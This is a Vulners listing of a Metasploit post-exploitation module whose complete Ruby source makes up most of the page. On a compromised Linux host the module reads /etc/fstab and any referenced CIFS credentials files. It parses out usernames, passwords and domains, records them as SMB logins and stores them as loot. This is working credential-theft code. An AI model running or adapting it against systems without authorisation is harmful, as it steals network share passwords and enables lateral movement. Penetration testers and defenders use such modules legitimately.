Lucene search
K

Linux Gather Saved mount.cifs/mount.smbfs Credentials

🗓️ 01 Feb 2012 16:50:50Reported by Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

Linux Gather Saved mount.cifs/mount.smbfs Credentials Post Module to obtain credentials saved for mount.cifs/mount.smbfs in /etc/fstab on a Linux system

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
        'Description' => %q{
          Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
          /etc/fstab on a Linux system.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter']
      )
    )
  end

  def run
    # keep track of any of the credentials files we read so we only read them once
    cred_files = []
    # where we'll store hashes of found credentials while parsing.  reporting is done at the end.
    creds = []
    # A table to store the found credentials for loot storage afterward
    cred_table = Rex::Text::Table.new(
      'Header' => 'mount.cifs credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Username',
        'Password',
        'Server',
        'File'
      ]
    )

    # parse each line from /etc/fstab
    fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
    read_file('/etc/fstab').each_line do |fstab_line|
      fstab_line.strip!
      # where we'll store the current parsed credentials, if any
      cred = {}
      # if the fstab line utilizies the credentials= option, read the credentials from that file
      next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})

      cred[:host] = ::Regexp.last_match(1)
      # IPs can occur using the ip option, which is a backup/alternative
      # to letting UNC resolution do its thing
      cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
      if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
        file = ::Regexp.last_match(1)
        # skip if we've already parsed this credentials file
        next if cred_files.include?(file)

        # store it if we haven't
        cred_files << file
        # parse the credentials
        cred.merge!(parse_credentials_file(file))
      # if the credentials are directly in /etc/fstab, parse them
      elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
        cred.merge!(parse_fstab_credentials(fstab_line))
      end

      creds << cred
    end

    # all done.  clean up, report and loot.
    creds.flatten!
    creds.compact!
    creds.uniq!
    creds.each do |cred|
      if Rex::Socket.dotted_ip?(cred[:host])
        report_cred(
          ip: cred[:host],
          port: 445,
          service_name: 'smb',
          user: cred[:user],
          password: cred[:pass],
          proof: '/etc/fstab'
        )
      end
      cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
    end

    # store all found credentials
    unless cred_table.rows.empty?
      print_line("\n" + cred_table.to_s)
      p = store_loot(
        'mount.cifs.creds',
        'text/csv',
        session,
        cred_table.to_csv,
        'mount_cifs_credentials.txt',
        'mount.cifs credentials'
      )
      print_status("CIFS credentials saved in: #{p}")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password,
      session_id: session_db_id,
      post_reference_name: refname
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
  # Returns the username+domain and password as a hash.
  def parse_fstab_credentials(line, file = '/etc/fstab')
    creds = {}
    # get the username option, which comes in one of four ways
    user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
    if user_opt
      case user_opt
      # domain/user%pass
      when %r{^([^/]+)/([^%]+)%(.*)$}
        creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
        creds[:pass] = ::Regexp.last_match(3)
      # domain/user
      when %r{^([^/]+)/([^%]+)$}
        creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
      # user%password
      when /^([^%]+)%(.*)$/
        creds[:user] = ::Regexp.last_match(1)
        creds[:pass] = ::Regexp.last_match(2)
      # user
      else
        creds[:user] = user_opt
      end
    end

    # get the password option if any
    creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)

    # get the domain option, if any
    creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)

    creds[:file] = file unless creds.empty?

    creds
  end

  # Parse mount.cifs credentials from +file+, returning the username+domain and password
  # as a hash.
  def parse_credentials_file(file)
    creds = {}
    domain = nil
    read_file(file).each_line do |credfile_line|
      case credfile_line
      when /domain=(.*)/
        domain = ::Regexp.last_match(1)
      when /password=(.*)/
        creds[:pass] = ::Regexp.last_match(1)
      when /username=(.*)/
        creds[:user] = ::Regexp.last_match(1)
      end
    end
    # prepend the domain if one was found
    creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])
    creds[:file] = file unless creds.empty?

    creds
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.8Medium risk
Vulners AI Score6.8
26